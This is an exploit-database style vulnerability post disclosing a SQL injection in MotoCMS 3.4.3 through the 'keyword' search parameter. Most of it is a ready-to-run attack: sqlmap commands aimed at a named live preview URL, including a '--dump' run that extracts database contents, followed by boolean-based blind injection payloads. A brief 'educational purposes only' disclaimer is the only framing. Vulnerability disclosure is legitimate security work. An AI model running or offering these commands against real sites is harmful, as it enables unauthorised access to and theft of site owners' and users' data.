Motocms version 3.4.3 sql injection Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2023-06-04 |
Type : webapps |
Platform : php
This exploit / vulnerability Motocms version 3.4.3 sql injection is for educational purposes only and if it is used you will do on your own risk!
## Description
MotoCMS Version 3.4.3 SQL Injection via the keyword parameter.
## Steps to Reproduce
1) By visiting the url:
https://template189526.motopreview.com/store/category/search/?keyword=1
2) Run sqlmap -u "https://template189526.motopreview.com/store/category/search/?keyword=1" --random-agent --level 5 --risk 3 --batch and this command sqlmap -u "https://template189526.motopreview.com/store/category/search/?keyword=1*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
### Parameter & Payloads ###
Parameter: keyword (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keyword=1%' AND 3602=3602 AND 'ZnYV%'='ZnYV
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: https://template189526.motopreview.com:443/store/category/search/?keyword=1%' AND 6651=6651 AND 'BvJE%'='BvJE